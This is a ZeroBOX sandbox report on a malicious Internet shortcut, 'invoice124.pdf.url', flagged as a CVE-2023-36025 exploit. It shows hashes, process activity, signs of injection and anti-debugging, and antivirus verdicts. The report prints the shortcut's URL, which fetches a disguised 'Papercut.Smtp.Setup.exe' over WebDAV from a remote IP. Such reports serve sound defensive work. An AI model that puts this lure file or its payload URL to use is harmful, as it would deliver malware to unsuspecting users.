Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 20, 2024, 9:21 a.m.	Oct. 20, 2024, 9:49 a.m.

Size	190.0B
Type	MS Windows 95 Internet shortcut text (URL=<file://89.23.113.52@81/DavWWWRoot/Papercut.Smtp.Setup.exe>), ASCII text, with CRLF line terminators
MD5	`a59d71de45c7b8329ea751fa067a503f`
SHA256	`2bd1503b3d6a72e5822ddc4c1b6f337166db1f03c3477625866dd22ed53f8a6d`
CRC32	`2735F890`
ssdeep	`3:HRAbABGQYmSPLmwn8ABLbC7kOiWcg1YSo/QJ53I1Jj4I5o6Rfg0ck2RMQ5yn:HRYFVmMmhABPrbtXSoIJ54f5oeTckF`
Yara	url_file_format - Microsoft Windows Internet Shortcut File Format

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\invoice124.pdf.url
416
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:416 CREDAT:145409
  2512

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
89.23.113.52	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Allocates read-write-execute memory (usually to unpack itself) (50 out of 51 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 region_size: 11341824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000032a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007725d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077264000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe4f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feff871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 20, 2024, 9:14 a.m.	process_identifier: 416 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000010c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 region_size: 5640192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b80000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000030e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007725d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077264000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe4f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feff871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076fd6000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077706000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076fd1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077250000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000776df000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000776eb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe1a7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe494000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe491000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe496000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe491000 process_handle: 0xffffffffffffffff	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 20, 2024, 9:21 a.m.	process_identifier: 2512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x000007fffff90000 process_handle: 0xffffffffffffffff	1	0	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:416 CREDAT:145409

Communicates with host for which no DNS query was performed (1 event)

host

89.23.113.52

File has been identified by 18 AntiVirus engines on VirusTotal as malicious (18 events)

Lionic	Trojan.UKP.Alien.4!c
CTX	internetshortcut.trojan.alien
ALYac	Generic.CVE-2023-36025.A.D8CA076F
VIPRE	Generic.CVE-2023-36025.A.D8CA076F
Arcabit	Generic.CVE-2023-36025.A.D8CA076F
Symantec	Scr.Malcode!gen
Avast	Other:Malware-gen [Trj]
ClamAV	Win.Exploit.CVE_2023_32046-10006582-1
Kaspersky	HEUR:Trojan.WinINF.Alien.gen
BitDefender	Generic.CVE-2023-36025.A.D8CA076F
MicroWorld-eScan	Generic.CVE-2023-36025.A.D8CA076F
Rising	Exploit.CVE-2023-36025!1.F536 (CLASSIC)
Emsisoft	Generic.CVE-2023-36025.A.D8CA076F (B)
FireEye	Generic.CVE-2023-36025.A.D8CA076F
Kingsoft	Script.Troj.SuspLnk.22147
GData	Generic.CVE-2023-36025.A.D8CA076F
AVG	Other:Malware-gen [Trj]
alibabacloud	Exploit:Unknow/CVE-2023-36025.A

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 416 resumed a thread in remote process 2512
NtResumeThread Oct. 20, 2024, 9:14 a.m.	thread_handle: 0x000000000000048c suspend_count: 1 process_identifier: 2512	1	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

89.23.113.52:81

invoice124.pdf.url

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All